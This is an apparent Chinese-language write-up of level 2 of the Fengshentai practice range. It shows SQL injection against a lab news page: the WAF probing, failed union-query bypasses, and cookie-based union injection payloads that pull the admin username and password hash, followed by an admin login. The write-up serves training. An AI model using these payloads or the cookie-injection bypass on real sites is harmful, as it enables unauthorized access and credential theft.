封神台第二关

点击传送门

来到目标公司网站

可以看到有很多的网页

现在我们需要寻找注入点,注入点存在的页面一般可以明显的显示出正确页面和错误页面

这里可以看到有新闻页面

有新闻的一般选择新闻页面

我们点击第一个新闻

进来后可以看到

URL为

http://g8wepfcp.ia.aqlab.cn/shownews.asp?id=171

开始试探

(1)判断waf拦截的关键字

'触发waf

and触发waf

or触发waf

select触发waf

union order by不会触发waf

--+不能被数据库识别,要使用#

(2)联合查询注入尝试

得到注入点数量,构建联合查询语句

?id=171 union select 1,2,3,4,5,6,7,8,9,10#

利用SQL绕过手法使得select可用

试图转码绕过失败

试图利用/**/和/*!*/绕过失败

放弃联合查询

(3)cookies绕过尝试

尝试cookies绕过

直接访问http://g8wepfcp.ia.aqlab.cn/shownews.asp

利用bp抓包,将原cookies值

Cookie: ASPSESSIONIDACQTQQAS=OKOJFAODPDJCCFEKBAECGJDK

改为

Cookie: id=171

访问网页,发现访问的页面正常输出,cookies可以当值来用

将值改为联合查询语句

并猜测表admin的存在性

Cookie: id=171+union+select+1,2,3,4,5,6,7,8,9,10+from+admin

页面返回正常,说明admin表存在

且页面返回的字段有2,3,7,8,9

这时可以将注入点2,3,7,8,9替换为字段名,用这种方式来猜测字段的存在,并体现返回值

Cookie: id=171+union+select+1,username,password,4,5,6,7,8,9,10+from+admin

页面返回

username:admin

password:b9a2a2b5dffb918c

利用bp解码后

password为welcome

利用御剑后台扫描工具

得到后台网站

http://g8wepfcp.ia.aqlab.cn/admin/Login.asp

输入账户密码

成功通过

相关推荐
数据要素X6 分钟前
【数据架构08】数字化转型架构篇
大数据·数据库·数据仓库·架构·数据库架构
冥想的小星星19 分钟前
Prevent Prompt Injection
安全·llm
百川24 分钟前
sqli-labs靶场Less24
sql·web安全
longze_737 分钟前
使用iptables封禁恶意ip异常请求
安全
老纪的技术唠嗑局40 分钟前
Agentic AI, 基于 Dify x OceanBase 的实践
数据库
深盾安全1 小时前
Native开发的硬核实力与安全守护:深度解析与实战指南
安全
冒泡的肥皂2 小时前
数据库最近学到的小知识(一
数据库·后端·架构
wuxuanok2 小时前
SQL理解——INNER JOIN
数据库·sql
天翼云开发者社区2 小时前
sql优化谓词下推在join场景中的应用
sql·关系数据库
GreatSQL2 小时前
工具分享-通过开源工具 tuning-primer快速巡检MySQL5.7
数据库